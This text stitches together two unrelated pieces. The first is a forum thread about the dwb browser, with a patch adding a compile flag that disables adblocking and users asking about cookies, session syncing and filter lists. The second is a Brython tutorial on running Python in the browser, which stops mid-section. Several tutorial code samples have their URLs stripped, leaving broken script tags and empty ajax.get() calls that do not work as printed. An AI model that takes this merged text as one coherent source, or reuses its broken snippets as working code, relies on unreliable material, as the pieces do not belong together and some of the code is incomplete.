diff -r 9fb2a463678e config.mk --- a/config.mk Sat Aug 25 10:21:34 2012 +0200 +++ b/config.mk Sat Aug 25 21:20:35 2012 +0200 @@ -148,6 +148,11 @@ CPPFLAGS+=-DGDK_DISABLE_DEPRECATED CPPFLAGS+=-DGSEAL_ENABLE endif + +ifeq (${DISABLE_ADBLOCK}, 1) +CFLAGS += -DDISABLE_ADBLOCK +endif + CFLAGS +=-I/usr/lib/dwb/ # LDFLAGS diff -r 9fb2a463678e src/adblock.c --- a/src/adblock.c Sat Aug 25 10:21:34 2012 +0200 +++ b/src/adblock.c Sat Aug 25 21:20:35 2012 +0200 @@ -16,6 +16,7 @@ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ +#ifndef DISABLE_ADBLOCK #include <string.h> #include <JavaScriptCore/JavaScript.h> #include "dwb.h" @@ -843,3 +844,4 @@ m_init = true; return true; }/*}}}*//*}}}*/ +#endif diff -r 9fb2a463678e src/adblock.h --- a/src/adblock.h Sat Aug 25 10:21:34 2012 +0200 +++ b/src/adblock.h Sat Aug 25 21:20:35 2012 +0200 @@ -16,6 +16,8 @@ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ +#ifndef DISABLE_ADBLOCK + #ifndef ADBLOCK_H #define ADBLOCK_H @@ -26,3 +28,4 @@ void adblock_disconnect(GList *gl); #endif // ADBLOCK_H +#endif diff -r 9fb2a463678e src/config.h --- a/src/config.h Sat Aug 25 10:21:34 2012 +0200 +++ b/src/config.h Sat Aug 25 21:20:35 2012 +0200 @@ -1135,10 +1135,12 @@ SETTING_GLOBAL, CHAR, { .p = NULL }, NULL, { 0 }, }, { { "editor", "External editor", }, SETTING_GLOBAL, CHAR, { .p = "xterm -e vim dwb_uri" }, NULL, { 0 }, }, +#ifndef DISABLE_ADBLOCK { { "adblocker", "Whether to block advertisements via a filterlist", }, SETTING_GLOBAL, BOOLEAN, { .b = false }, (S_Func)dwb_set_adblock, { 0 }, }, { { "adblocker-filterlist", "Path to a filterlist", }, SETTING_GLOBAL, CHAR, { .p = NULL }, NULL, { 0 }, }, +#endif #ifdef WITH_LIBSOUP_2_38 { { "addressbar-dns-lookup", "Whether to perform a dns check for text typed into the address bar", }, SETTING_GLOBAL | SETTING_ONINIT, BOOLEAN, { .b = false }, (S_Func)dwb_set_dns_lookup, { 0 }, }, diff -r 9fb2a463678e src/dwb.c --- a/src/dwb.c Sat Aug 25 10:21:34 2012 +0200 +++ b/src/dwb.c Sat Aug 25 21:20:35 2012 +0200 @@ -43,7 +43,9 @@ #include "js.h" #include "callback.h" #include "entry.h" +#ifndef DISABLE_ADBLOCK #include "adblock.h" +#endif #include "domain.h" #include "application.h" #include "scripts.h" @@ -154,6 +156,7 @@ return STATUS_OK; }/*}}}*/ +#ifndef DISABLE_ADBLOCK /* dwb_set_adblock {{{*/ void dwb_set_adblock(GList *gl, WebSettings *s) { @@ -166,6 +169,7 @@ adblock_disconnect(l); } }/*}}}*/ +#endif /* dwb_set_cookies {{{ */ static DwbStatus @@ -2980,7 +2984,9 @@ } dwb_soup_end(); +#ifndef DISABLE_ADBLOCK adblock_end(); +#endif domain_end(); util_rmdir(dwb.files[FILES_CACHEDIR], true, true); @@ -3948,7 +3954,9 @@ dwb_init_gui(); dwb_init_custom_keys(false); domain_init(); +#ifndef DISABLE_ADBLOCK adblock_init(); +#endif dwb_init_hints(NULL, NULL); dwb_soup_init(); diff -r 9fb2a463678e src/view.c --- a/src/view.c Sat Aug 25 10:21:34 2012 +0200 +++ b/src/view.c Sat Aug 25 21:20:35 2012 +0200 @@ -29,7 +29,9 @@ #include "plugins.h" #include "local.h" #include "soup.h" +#ifndef DISABLE_ADBLOCK #include "adblock.h" +#endif #include "js.h" #include "scripts.h" @@ -1192,8 +1194,10 @@ view_init_signals(ret); view_init_settings(ret); +#ifndef DISABLE_ADBLOCK if (GET_BOOL("adblocker")) adblock_connect(ret); +#endif dwb_update_layout();
you can compile dwb with DISABLE_ADBLOCK=1 after applying this patch. I'm not sure if i merge this patch into the default branch again.
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Compiling dwb without adblock was just an example. I have enough RAM now, so I won't have to do it. I'm just thinking about people with limited RAM, a group of people I belonged to not long ago. Back then I tried to optimize applications as good as possible without using Gentoo.
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Compiling dwb without adblock will not reduce RAM usage substantially. It will
only reduce the size of the binary. For me it reduced RAM usage about 50 kb
compared to dwb with adblocking compiled in but disabled adblocker, so i don't
know if it's worth the effort to make it possible to compile it without certain
features. A compromise could be to provide some features like the adblocker or
the plugin blocker as a shared library that only gets loaded if the feature is
enabled.
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Would it be hard to add something that saved the session more often than just on regular exit? I always hate to lose tabs, and occasionally dwb still crashes...
There is now a new option file-sync-interval which is the same as the prior sync-files option, sync-files now has changed it can now take the arguments 'all', 'cookies', 'history', 'session' or a combination of these values. So it is now also possible to sync the session.
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@portix
I've seem to spot the bug on the window flicker when downloading.
If there are enough of downloads going, the gtk labels cause the window to resize, thus causing flickering since monsterwm resizes it right back.
If I change monitor so that the monitor where the dwb is won't be updated, the dwb window gets resized so that all the GTK labels (downloads) fit it..
This appears to be a bug in Webkit, more analysis at
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Thank you very much for this browser, portix !
I was looking for an alternative to Firefox which I found in dwb.
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A couple of days ago. Like a week or less, dwb stopped saving cookies. Does anything related to cookies has changed?
My cookies related settings are:
cookies-accept-policy: always
cookies-store-policy: session
I granted some sites permission on ~/.config/dwb/default/cookies.allow
That always allowed those sites to store persistent cookies, or it used to.
***
Never mind. There was an option in ~/.config/dwb/settings "cookies=false" that doesn't appear in the settings page. Just changed it to "true" and its working again.
Thanks @portix for your continuous work on this awesome browser.
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The cookie code hasn't changed since january. The sync-files setting has changed, maybe this is the reason for your problem, but i'm not sure. I haven't had any issues but i'll test it again. The old sync-files setting is now called file-sync-interval, you could try to set the sync-files setting explicitly.
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First of all, thanks for this amazing browser
I have a small suggestion about adblocking though : would it be possible to simply set a folder ( .dwb/ablock/ for example) where you can put any number of lists, and
those would be automatically loaded and merged by dwb ?
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Yeah, that needed only a small change, if you check out the latest revision
dwb will read all files from 'adblocker-filterlist' if it is a directory.
I already thought about providing a small extension for online subscriptions.
Excellent, I'm using it right now !
(I have some rules which are not activated because of the "popup" option not supported - my list is easylist + french extensions)
Congrats for this browser
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Sorry if this has been asked before, but is there any way to hide the tab bar if there is only one tab open?
There isn't a native setting for it anymore, you can try it with the following script:
#!javascript signals.connect("closeTab", function () { if (tabs.length == 2) execute("set widget-packing Twds"); }); signals.connect("createTab", function () { if (tabs.length == 2) execute("set widget-packing twds"); });
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Hi portix.
I have noticed odd behavior with clipboard handling.
Ctrl+C anywhere in the page successfuly copies text and makes it pastable on Ctrl+V, but doing the same on e.g. current page dialog (go) will
synchronise copied text to shift+insert buffer (or whatever it's called) which is really anyoing. Can you make them work the same way?
BTW, I'm using Cloudef's loliclip as clipboard manager.
Thanks.
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I have my cookies set to session on youtube, but I would like to enable html5 for it as well. I found an extension for chrome that does this exact thing, and was curious how I would modify this to work in dwb. All it does is check if the html5 cookie is set, and if not sets it. Ideally it would be run on startup, or maybe whenever youtube was visited. Here is what happens on chromium:
<html> <script> function set_youtube_cookie(cookie) { if(cookie == null) { chrome.cookies.set({name: "PREF", value: "f2=40000000", url: "", domain: "youtube.com"}); } } chrome.cookies.get({name: "PREF", url: ""}, set_youtube_cookie); </script> </html>
Unfortunately my javascript skills are non existant, and I don't know how I would access the dwb cookies from it. Any help would be appreciated.
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If you’re a web developer who prefers writing Python over JavaScript, then Brython, a Python implementation that runs in the browser, may be an appealing option.
JavaScript is the de facto language of front-end web development. Sophisticated JavaScript engines are an inherent part of all modern Internet browsers and naturally drive developers to code front-end web applications in JavaScript. Brython offers the best of both worlds by making Python a first-class citizen language in the browser and by having access to all the existing JavaScript libraries and APIs available in the browser.
In this tutorial, you’ll learn how to:
- Install Brython in your local environment
- Use Python in a browser
- Write Python code that interacts with JavaScript
- Deploy Python with your web application
- Create browser extensions with Python
- Compare Brython with other Python implementations for web applications
As an intermediate Python developer familiar with web development, you’ll get the most out of this tutorial if you also have some knowledge of HTML and JavaScript. For a JavaScript refresher, check out Python vs JavaScript for Pythonistas.
You can download the source material for the examples in this tutorial by clicking the link below:
Get the Source Code: Click here to get the source code you’ll use to learn about using Brython to run Python in the browser in this tutorial.
Running Python in the Browser: The Benefits
Although JavaScript is the ubiquitous language of front-end web development, the following points may apply to you:
- You may not like writing code in JavaScript.
- You may want to leverage your Python skills.
- You may not want to spend the time to learn JavaScript to explore browser technologies.
- You may not like being forced to learn and use JavaScript to implement a web application.
Whatever the reason, many developers would prefer a Python-based alternative to JavaScript for leveraging the power of the browser.
There are several benefits of running Python in the browser. It allows you to:
- Execute the same Python code in the server and the browser
- Work with various browser APIs using Python
- Manipulate the Document Object Model (DOM) with Python
- Use Python to interact with existing JavaScript libraries like Vue.js and jQuery
- Teach the Python language to Python students with the Brython editor
- Keep the sense of fun while programming in Python
One side effect of using Python in the browser is a loss of performance compared to the same code in JavaScript. However, this drawback doesn’t outweigh any of the benefits outlined above.
Implementing Isomorphic Web Development
Isomorphic JavaScript, or Universal JavaScript, emphasizes that JavaScript applications should run on both the client and the server. This is assuming that the back end is JavaScript based, namely a Node server. Python developers using Flask or Django can also apply the principles of isomorphism to Python, provided that they can run Python in the browser.
Brython allows you to build the front end in Python and share modules between the client and the server. For example, you can share validation functions, like the following code that normalizes and validates US phone numbers:
1import re 2 3def normalize_us_phone(phone: str) -> str: 4 """Extract numbers and digits from a given phone number""" 5 return re.sub(r"[^\da-zA-z]", "", phone) 6 7def is_valid_us_phone(phone: str) -> bool: 8 """Validate 10-digit phone number""" 9 normalized_number = normalize_us_phone(phone) 10 return re.match(r"^\d{10}$", normalized_number) is not None
normalize_us_phone() eliminates any nonalphanumeric characters, whereas
is_valid_us_phone() returns
True if the input string contains exactly ten digits and no alphabetic characters. The same code can be shared between processes running on a Python server and a client built with Brython.
Accessing Web APIs
Internet browsers expose standardized web APIs to JavaScript. These standards are part of the HTML Living Standard. Some web API examples include:
Brython allows you to both use the web APIs and interact with JavaScript. You’ll work with some of the web APIs in a later section.
Prototyping and JavaScript Libraries
Python is often used to prototype snippets of code, language constructs, or bigger ideas. With Brython, this common coding practice becomes available in your browser. For example, you can use the Brython console or the interactive editor to experiment with a snippet of code.
Open the online editor and type the following code:
1from browser import ajax 2 3def on_complete(req): 4 print(req.text) 5 6language = "fr" 7 8ajax.get(f"{language}", 9 blocking=True, 10 oncomplete=on_complete)
Here’s how this code works:
- Line 1 imports the
ajaxmodule.
- Line 3 defines
on_complete(), the callback function that’s invoked after getting the response from
ajax.get().
- Line 6 calls
ajax.get()to retrieve the translation of “hello” in French using the HelloSalut API. Note that
blockingcan be
Trueor
Falsewhen you execute this code in the Brython editor. It needs to be
Trueif you execute the same code in the Brython console.
Click Run above the output pane to see the following result:
{"code":"fr","hello":"Salut"} <completed in 5.00 ms>
Try modifying the language from
fr to
es and observe the result. The language codes supported by this API are listed in the HelloSalut documentation.
Note: HelloSalut is one of the public APIs available on the Internet and listed in the Public APIs GitHub project.
You can modify the code snippet in the online editor to consume a different public API. For example, try to fetch a random public API from the Public APIs project:
1from browser import ajax 2 3def on_complete(req): 4 print(req.text) 5 6ajax.get("", 7 blocking=True, 8 oncomplete=on_complete)
Copy the code above into the online Brython editor and click Run to display the result. Here’s an example in JSON format:
{ "count": 1, "entries": [ { "API": "Open Government, USA", "Description": "United States Government Open Data", "Auth": "", "HTTPS": true, "Cors": "unknown", "Link": "", "Category": "Government" } ] }
Because the endpoint fetches a random project, you’ll probably get a different result. For more information about the JSON format, check out Working With JSON Data in Python.
You can use prototyping to try out regular Python code as you would in the Python interpreter. Because you’re in the context of a browser, Brython also provides ways to:
- Learn how to use the web APIs
- Interact with the Document Object Model (DOM)
- Use existing JavaScript libraries like jQuery, D3, and Bokeh as well as JavaScript UI frameworks like Vue.js
As a shortcut, you can take advantage of most of the features described above by opening the console or editor available on the Brython website. This doesn’t require you to install or run anything on your local computer. Instead, it gives you an online playground to interact with both Python and web technologies.
Teaching Python to Students
Brython is both a Python compiler and an interpreter written in JavaScript. As a result, you can compile and run Python code in the browser. A good example of this feature is demonstrated by the online editor available on the Brython website.
With the online editor, Python is running in the browser. There’s no need to install Python on a machine, and there’s no need to send code to the server to be executed. The feedback is immediate for the user, and this approach doesn’t expose the back end to malicious scripts. Students can experiment with Python on any device with a working browser, such as phones or Chromebooks, even with a spotty internet connection.
Taking Performance Into Account
The Brython site notes that the implementation’s execution speed is comparable to CPython. But Brython is executed in the browser, and the reference in this environment is JavaScript baked into the browser engine. As a result, expect Brython to be slower than hand-written, well-tuned JavaScript.
Brython compiles Python code into JavaScript and then executes the generated code. These steps have an impact on overall performance, and Brython may not always meet your performance requirements. In some cases, you may need to delegate some code execution to JavaScript or even WebAssembly. You’ll see how to build WebAssembly and how to use the resulting code in Python in the section on WebAssembly.
However, don’t let perceived performance detract you from using Brython. For example, importing Python modules may result in downloading the corresponding module from the server. To illustrate this situation, open the Brython console and execute the following code:
>>> import uuid
The delay until the prompt is displayed (390 ms on a test machine) is noticeable. This is due to Brython having to download
uuid and its dependencies and then compile the downloaded resources. However, from that point on, there’s no delay while executing functions available in
uuid. For example, you can generate a random universally unique identifier, UUID version 4, with the following code:
>>> uuid.uuid4() UUID('291930f9-0c79-4c24-85fd-f76f2ada0b2a')
Calling
uuid.uuid4() generates a
UUID object, whose string representation is printed in the console. Calling
uuid.uuid4() returns immediately and is much quicker than the initial import of the
uuid module.
Having Fun
If you’re reading this tutorial, then you’re probably interested in writing Python code in the browser. Seeing Python code executed in the browser is exciting for most Pythonistas and awakes a sense of fun and endless possibility.
The author of Brython, Pierre Quentel, and the contributors to the project also kept the fun of Python in mind while undertaking the huge task of making this language compatible with the web browser.
To prove it, point your browser to the Brython interactive console, and at the Python prompt, type the following:
import this
Similar to the experience of Python on your local machine, Brython compiles and executes the instructions on the fly and prints The Zen of Python. It takes place in the browser and the Python code execution does not require any interaction with a back-end server:
You can also try another classic Python Easter egg in the same browser environment with the following code:
import antigravity
Brython embraces the same bits of humor that you’ll find in the Python reference implementation.
Now that you’re familiar with the basics of working with Brython, you’ll explore more advanced features in the following sections.
Installing Brython
Experimenting with Brython’s online console is a good start, but it won’t allow you to deploy your Python code. There are several different options for installing Brython in a local environment:
Instructions for each of these methods are outlined below, but feel free to skip directly to your preferred approach if you’ve already made a decision.
CDN Installation
A content delivery network (CDN) is a network of servers that allows for improved performance and download speeds for online content. You can install Brython libraries from a few different CDNs:
You may choose this installation if you want to deploy a static website and add some dynamic behaviors to your pages with minimum overhead. You can think of this option as a substitute for jQuery, except using Python rather than JavaScript.
To illustrate the use of Brython with a CDN, you’ll use CDNJS. Create a file with the following HTML code:
1<!doctype html> 2<html> 3 <head> 4 <script 5 6 </script> 7 </head> 8 <body onload="brython()"> 9 <script type="text/python"> 10 import browser 11 browser.alert("Hello Real Python!") 12 </script> 13 </body> 14</html>
Here are the key elements of this HTML page:
Line 5 loads
brython.jsfrom CDNJS.
Line 8 executes
brython()when the document has finished loading.
brython()reads the Python code in the current scope and compiles it to JavaScript. See the section Understanding How Brython Works for more details.
Line 9 sets the type of the script to
text/python. This indicates to Brython which code needs to be compiled and executed.
Line 10 imports
browser, a Brython module that exposes objects and functions allowing interaction with the browser.
Line 11 calls
alert(), which displays a message box with the text
"Hello Real Python!"
Save the file as
index.html, then double-click the file to open it with your default Internet browser. The browser displays a message box with
"Hello Real Python!" Click OK to close the message box:
To reduce the size of the downloaded file, especially in production, consider using the minimized version of
brython.js:
1<script 2 3</script>
The minimized version will reduce the download time and perceived latency from the user’s standpoint. In Understanding How Brython Works, you’ll learn how Brython is loaded by the browser and how the above Python code is executed.
GitHub Installation
The GitHub installation is very similar to the CDN installation, but it allows you to implement Brython applications with the latest development version. You can copy the previous example and modify the URL in the
head element to get the following
index.html:
<!doctype html> <html> <head> <script src=""> </script> </head> <body onload="brython()"> <script type="text/python"> import browser browser.alert("Hello Real Python!") </script> </body> </html>
After saving this file in a local directory, double-click
index.html to render in the browser the same page you obtained with the CDN install.
PyPI Installation
So far, you haven’t needed to install anything in your local environment. Instead, you’ve indicated in the HTML file where the browser can find the Brython package. When the browser opens the page, it downloads the Brython JavaScript file from the appropriate environment, from either a CDN or GitHub.
Brython is also available for local installation on PyPI. The PyPI installation is for you if:
- You need more control and customization of the Brython environment beyond what’s available when pointing to a CDN file.
- Your background is in Python and you’re familiar with
pip.
- You want a local installation to minimize network latency during development.
- You want to manage your project and deliverables in a more granular fashion.
Installing Brython from PyPI installs
brython_cli, a command-line tool that you can use to automate functions like generating a project template or packaging and bundling modules to simplify deployment of a Brython project.
For more details, you can consult the local installation documentation to see the capabilities of
brython-cli that are available in your environment after installation.
brython-cli is available only with this type of installation. It isn’t available if you install from a CDN or with npm. You’ll see
brython-cli in action later in the tutorial.
Before installing Brython, you want to create a Python virtual environment for this project.
On Linux or macOS, execute the following commands:
$ python3 -m venv .venv --prompt brython $ source .venv/bin
On Windows, you can proceed as follows:
> python3 -m venv .venv --prompt brython > .venv\Scripts
You’ve just created a dedicated Python environment for your project and updated
pip with the latest version.
In the next steps, you’ll install Brython and create a default project. The commands are the same on Linux, macOS, and Windows:
(brython) $ python -m pip install brython Collecting brython Downloading brython-3.9.0.tar.gz (1.2 MB) |████████████████████████████████| 1.2 MB 1.4 MB/s Using legacy 'setup.py install' for brython, since package 'wheel' is not installed. Installing collected packages: brython Running setup.py install for brython ... done (brython) $ mkdir web (brython) $ cd web (brython) $ brython-cli --install Installing Brython 3.9.0 done
You’ve installed Brython from PyPI, created an empty folder named
web, and generated the default project skeleton by executing the
brython-cli copied in your virtual environment during the installation.
In the
web folder,
brython-cli --install created a project template and generated the following files:
To test this newly created web project, you can start a local Python web server with the following commands:
(brython) $ python -m http.server Serving HTTP on :: port 8000 (http://[::]:8000/) ...
When you execute
python -m http.server, Python starts a web server on port 8000. The expected default page is
index.html. Point your internet browser to to display a page with the text
Hello:
For a more complete example, you can change the URL in the browser’s address bar to. You should see a page similar to the Brython demo page:
With this approach, the Brython JavaScript files are loaded directly from your local environment. Notice the
src attribute in the
head element of
index.html:
1<!doctype html> 2<html> 3 <head> 4 <meta charset="utf-8"> 5 <script type="text/javascript" src="brython.js"></script> 6 <script type="text/javascript" src="brython_stdlib.js"></script> 7 </head> 8 <body onload="brython(1)"> 9 <script type="text/python"> 10 from browser import document 11 document <= "Hello" 12 </script> 13 </body> 14</html>
The HTML above is indented to enhance readability in this tutorial. The command
brython_cli --install does not indent the initial HTML template that it generates.
The HTML file introduces a few new Brython features:
Line 6 loads
brython_stdlib.js, the Python standard library compiled to JavaScript.
Line 8 invokes
brython()with the argument
1to print error messages to the browser console.
Line 10 imports the
documentmodule from
browser. Functions to access the DOM are available in
document.
Line 11 shows a new symbol (
<=) added to Python as syntactic sugar. In this example,
document <= "Hello"is a substitute for
document.body.appendChild(document.createTextNode("Hello")). For details about these DOM functions, check out
Document.createTextNode.
The operator
<= is used to add a child node to an element of the DOM. You’ll see in more details on using Brython-specific operators in The DOM API in Brython.
npm Installation
If you’re well versed in the JavaScript ecosystem, then the npm installation might appeal to you. Node.js and npm are required before performing this install.
Installing with npm will make the JavaScript Brython modules available in your project like any other JavaScript modules. You’ll then be able to take advantage of your favorite JavaScript tooling to test, package, and deploy the Brython interpreter and libraries. This installation is ideal if you already have existing JavaScript libraries installed with npm.
Note: If you don’t have Node.js and npm installed on your system, then consider reading the rest of this section for information only, as you can safely skip the installation itself. The remainder of the tutorial doesn’t depend on the npm installation method for any of the examples.
Assuming that you have npm installed on your system, create a default
package.json file by invoking
npm init --yes in an empty directory:
$ npm init --yes Wrote to /Users/john/projects/brython/npm_install/package.json: { "name": "npm_install", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "keywords": [], "author": "", "license": "ISC" }
To integrate Brython into your project, execute the following command:
$ npm install brython npm notice created a lockfile as package-lock.json. You should commit this file. npm WARN npm_install@1.0.0 No description npm WARN npm_install@1.0.0 No repository field. + brython@3.9.0 added 1 package from 1 contributor and audited 1 package in 1.778s found 0 vulnerabilities
You can ignore the warnings and note that Brython was added to your project. To confirm, open
package.json and make sure you have a
dependencies property pointing to an object containing a
brython entry:
1{ 2 "name": "npm_install", 3 "version": "1.0.0", 4 "description": "", 5 "main": "index.js", 6 "scripts": { 7 "test": "echo \"Error: no test specified\" && exit 1" 8 }, 9 "author": "", 10 "license": "ISC", 11 "dependencies": { 12 "brython": "^3.9.0" 13 } 14}
As for the previous examples, you can create the following
index.html and open it with your browser. A web server isn’t needed for this example because the browser is able to load the JavaScript file
node_modules/brython/brython.js locally:
1<!doctype html> 2<html> 3<head> 4 <meta charset="utf-8"> 5 <script 6 11<script type="text/python"> 12from browser import document 13document <= "Hello" 14</script> 15</body> 16</html>
The browser renders
index.html and loads
brython.js from the
script URL in
index.html. In this example, you’ve seen a different way to install Brython that takes advantage of the JavaScript ecosystem. For the remainder of the tutorial, you’ll write code that relies on the CDN installation or the PyPI installation.
Recap of Brython Installation Options
Brython has one foot in the Python world and another in JavaScript. The different installation options illustrate this cross-technology situation. Pick the installation that feels the most compelling to you based on your background.
The following table provides you with some guidance:
This table summarizes the different installation options available to you. In the next section, you’ll learn more about how Brython works.
Understanding How Brython Works
Your tour of the different ways to install Brython has given you some high-level clues about how the implementation works. Here’s a summary of some of the characteristics that you’ve discovered so far in this tutorial:
- It’s a Python implementation in JavaScript.
- It’s a Python to JavaScript translator and a runtime executing in the browser.
- It exposes two main libraries available as JavaScript files:
brython.jsis the core of the Brython language, as detailed in Brython Core Components.
brython_stdlib.jsis the Brython standard library.
- It invokes
brython(), which compiles Python code contained in the
scripttags with the
text/pythontype.
In the following sections, you’ll take a more detailed look at how Brython works.
Brython Core Components
The core of Brython is contained in
brython.js or in
brython.min.js, the minimized version of the Brython engine. Both include the following key components:
brython()is the main JavaScript function exposed in the JavaScript global namespace. You can’t execute any Python code without calling this function. This is the only JavaScript function that you should have to call explicitly.
__BRYTHON__is a JavaScript global object that holds all internal objects needed to run Python scripts. This object isn’t used directly when you write Brython applications. If you look at the Brython code, both JavaScript and Python, then you’ll see regular occurrences of
__BRYTHON__. You don’t need to use this object, but you should be aware of it when you see an error or when you want to debug your code in the browser console.
Built-in types are implementations of the Python built-in types in JavaScript. For example, py_int.js, py_string.js and py_dicts.js are respective implementations of
int,
strand
dict.
browseris the browser module that exposes the JavaScript objects commonly used in a front-end web application, like the DOM interfaces using
documentand the browser window using the
windowobject.
You’ll see each of these components in action as you work through the examples in this tutorial.
Brython Standard Library
Now that you have an overall idea of the core Brython file,
brython.js, you’re going to learn about its companion file,
brython_stdlib.js.
brython_stdlib.js exposes the Python standard library. As this file is generated, Brython compiles the Python standard library into JavaScript and concatenates the result into the bundle
brython_stdlib.js.
Brython is intended to be as close as possible to CPython, the Python reference implementation. For more information about CPython, check out Your Guide to the CPython Source Code and CPython Internals.
As Brython is running within the context of a web browser, it has some limitations. For example, the browser doesn’t allow direct access to the file system, so opening a file with
os.open() isn’t possible. Functions that aren’t relevant to a web browser may not be implemented. For example, the code below is running in a Brython environment:
>>> import os >>> os.unlink() Traceback (most recent call last): File <string>, line 1, in <module> NotImplementedError: posix.unlink is not implemented
os.unlink() raises an exception since it’s not secure to delete a local file from the browser environment and the File and Directory Entries API is only a draft proposal.
Brython only supports native Python modules. It doesn’t support Python modules built in C unless they’ve been reimplemented in JavaScript. For example,
hashlib is written in C in CPython and implemented in JavaScript in Brython. You can consult the list of modules in the Brython distribution to compare with the CPython implementation.
You need to include
brython_stdlib.js or
brython_stdlib.min.js to import modules from the Python standard library.
Brython in Action
At this point, you may be wondering how Brython behaves within a browser that’s only aware of its JavaScript engine. Reusing the previous examples and the tools available in the browser, you’ll learn about the process involved in executing Python code in the browser.
In the section on the CDN server installation, you saw the following example:
1<!doctype html> 2<html> 3 <head> 4 <script 5 6 </script> 7 </head> 8 <body onload="brython()"> 9 <script type="text/python"> 10 import browser 11 browser.alert("Hello Real Python!") 12 </script> 13 </body> 14</html>
Upon loading and parsing the HTML page,
brython() takes the following steps:
- Reads the Python code contained in the element
<script type="text/python">
- Compiles the Python code to equivalent JavaScript
- Evaluates the resulting JavaScript code with
eval()
In the example above, the Python code is embedded in the HTML file:
<script type="text/python"> import browser browser.alert("Hello Real Python!") </script>
Another option is to download the Python code from a separate file:
<head> <script src="" type="text/python"></script> </head>
In this case, the Python file would look like this:
import browser browser.alert("Hello Real Python!")
Separating the Python code from the HTML code is a cleaner approach and allows you to take advantage of the benefits and functionalities of code editors. Most editors have support for embedded JavaScript in HTML, but they don’t support inline Python in HTML.
Brython’s Internals
This section provides a deeper dive into the process of transforming Python code to JavaScript. If you’re not interested in these details, then feel free to skip this section, as it’s not required for understanding the rest of the tutorial. To illustrate this process and have a peek into the internals of Brython, take the following steps:
- Open the Brython home page.
- Open the web console with Cmd+Alt+I on Mac or Ctrl+Shift+I on Windows and Linux.
In the browser JavaScript REPL, type and execute the following code:
> eval(__BRYTHON__.python_to_js("import browser; browser.console.log('Hello Brython!')"));
python_to_js() parses and compiles the provided Python code to JavaScript and then executes the JavaScript in the web browser. You should get the following result:
Applying
eval() to Brython code prints
"Hello Brython!" in the browser console. The JavaScript function returns
undefined, which is the default return value for a function in JavaScript.
When you build a Brython application, you shouldn’t need to explicitly call a function in the
__BRYTHON__ JavaScript module. This example is provided only to demonstrate how Brython operates behind the scenes. Being aware of
__BRYTHON__ can help you read Brython code and even contribute to the project as you gain more experience. It will also help you better understand exceptions that may be displayed in the browser console.
The JavaScript
__BRYTHON__ object is available in the JavaScript global scope, and you can access it with the browser JavaScript console.
Using Brython in the Browser
At this point, you have enough of an understanding of Brython to work with more detailed examples. In this section, you’re going to implement a Base64 calculator to experiment in the browser with the DOM API and other functionalities that are usually only available from JavaScript.
You can download the source code for the examples in this tutorial by clicking the link below:
Get the Source Code: Click here to get the source code you’ll use to learn about using Brython to run Python in the browser in this tutorial.
You’ll start by learning how to manipulate the DOM using Python and HTML.
The DOM API in Brython
To experiment with the DOM manipulations available in Brython, you’ll build a form to encode a string to Base64. The finished form will look like this:
Create the following HTML file and name it
index.html:
1<!-- index.html --> 2<!DOCTYPE html > 3<html> 4 <head> 5 <meta charset="utf-8"/> 6 <link rel="stylesheet" 7 8 <script 9 10 </script> 11 <script 12 13 </script> 14 <script src="main.py" type="text/python" defer></script> 15 <style>body { padding: 30px; }</style> 16 </head> 17 <body onload="brython()"> 18 <form class="pure-form" onsubmit="return false;"> 19 <fieldset> 20 <legend>Base64 Calculator</legend> 21 <input type="text" id="text-src" placeholder="Text to Encode" /> 22 <button 23Ok</button> 26 <button id="clear-btn" class="pure-button">Clear</button> 27 </fieldset> 28 </form> 29 <div id="b64-display"></div> 30 </body> 31</html>
The HTML above loads the static resources, defines the UI layout, and initiates the Python compilation:
Line 7 loads the PureCSS style sheet to improve on the default HTML style. This isn’t necessary for Brython to work.
Line 9 loads the minimized version of the Brython engine.
Line 12 loads the minimized version of the Brython standard library.
Line 14 loads
main.py, which handles the dynamic logic of this static HTML page. Note the use of
defer. It helps synchronize the loading and evaluation of resources and is sometimes needed to make sure that Brython and any Python scripts are fully loaded before executing
brython().
Line 21 describes an
inputfield. This field takes the string to encode as an argument.
Lines 22 to 25 define the default
buttonthat triggers the main logic of the page. You can see this logic implemented in
main.pybelow.
Line 26 defines a
buttonto clear up data and elements on the page. This is implemented in
main.pybelow.
Line 29 declares a
divintended to be a placeholder for a table.
The associated Python code,
main.py, is as follows:
1from browser import document, prompt, html, alert 2import base64 3 4b64_map = {} 5 6def base64_compute(_): 7 value = document["text-src"].value 8 if not value: 9 alert("You need to enter a value") 10 return 11 if value in b64_map: 12 alert(f"'The base64 value of '{value}' already exists: '{b64_map[value]}'") 13 return 14 b64data = base64.b64encode(value.encode()).decode() 15 b64_map[value] = b64data 16 display_map() 17 18def clear_map(_) -> None: 19 b64_map.clear() 20 document["b64-display"].clear() 21 22def display_map() -> None: 23 table = html.TABLE(Class="pure-table") 24 table <= html.THEAD(html.TR(html.TH("Text") + html.TH("Base64"))) 25 table <= (html.TR(html.TD(key) + html.TD(b64_map[key])) for key in b64_map) 26 base64_display = document["b64-display"] 27 base64_display.clear() 28 base64_display <= table 29 document["text-src"].value = "" 30 31document["submit"].bind("click", base64_compute) 32document["clear-btn"].bind("click", clear_map)
The Python code shows the definition of callback functions and the mechanism to manipulate the DOM:
Line 1 imports the modules that you use to interact with the DOM and the Browser API code in
brython.min.js.
Line 2 imports
base64, which is available in the Brython standard library,
brython_stdlib.min.js.
Line 4 declares a dictionary that you’ll use to store data during the life of the HTML page.
Line 6 defines the event handler
base64_compute(), which encodes the Base64 value of the text entered in the input field with ID
text-src. This is a callback function that takes an event as an argument. This argument isn’t used in the function but is required in Brython and is optional in JavaScript. As a convention, you can use
_as a dummy placeholder. An example of this usage is described in the Google Python Style Guide.
Line 7 retrieves the value of the DOM element identified with
text-src.
Line 18 defines the event handler
clear_map(), which clears the data and presentation of the data on this page.
Line 22 defines
display_map(), which takes the data contained in the
b64_mapand displays it under the form on the page.
Line 26 retrieves the DOM element with the ID
text-src.
Line 29 clears the value of the DOM element with the ID
text-src.
Line 31 binds the
onclickevent of the
submitbutton to
base64_compute().
Line 32 binds the
onclickevent of the
clear-btnbutton to
clear_map().
To manipulate the DOM, Brython uses two operators:
<=is a new operator, specific to Brython, that adds a child to a node. You can see a few examples of this usage in
display_map(), defined on line 22.
+is a substitute for
Element.insertAdjacentHTML('afterend')and adds sibling nodes.
You can see both operators in the following statement taken from
display_map():
table <= html.THEAD(html.TR(html.TH("Text") + html.TH("Base64")))
